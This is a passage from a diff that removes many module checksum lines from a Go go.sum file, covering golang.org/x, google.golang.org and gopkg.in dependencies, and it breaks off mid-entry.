-golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20211116232009-f0f3c7e86c11 h1:GZokNIeuVkl3aZHJchRrr13WCsols02MLUcz1U9is6M= -golang.org/x/time v0.0.0-20211116232009-f0f3c7e86c11/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191203134012-c197fd4bf371/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= -golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200713011307-fd294ab11aed/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= -golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= -golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.7 h1:6j8CgantCy3yc8JGBqkDLMKWqZ0RDU2g1HVgacojGWQ= -golang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo= -golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= -google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= -google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= -google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= -google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= -google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= -google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= -google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= -google.golang.org/api v0.44.0-impersonate-preview h1:/7twr+Es8HH6URUkpfcnn6mCadE7NCYmogHzBXNQZh4= -google.golang.org/api v0.44.0-impersonate-preview/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= -google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20170818010345-ee236bd376b0/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= -google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= -google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= -google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= -google.golang.org/genproto v0.0.0-20200711021454-869866162049/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6 h1:4Xw2NwItrJOFR5s6PnK98PI6Bgw1LhMP1j/rO5WP0S4= -google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/grpc v1.8.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= -google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.1 h1:zvIju4sqAGvwKspUQOhwnpcqSbzi7/H6QomNNjTL4sk= -google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= -google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= -google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.32.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= -google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= -google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= -google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= -google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= -google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= -google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= -google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= -google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= -gopkg.in/cheggaaa/pb.v1 v1.0.27/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= -gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= -gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= -gopkg.in/ini.v1 v1.42.0 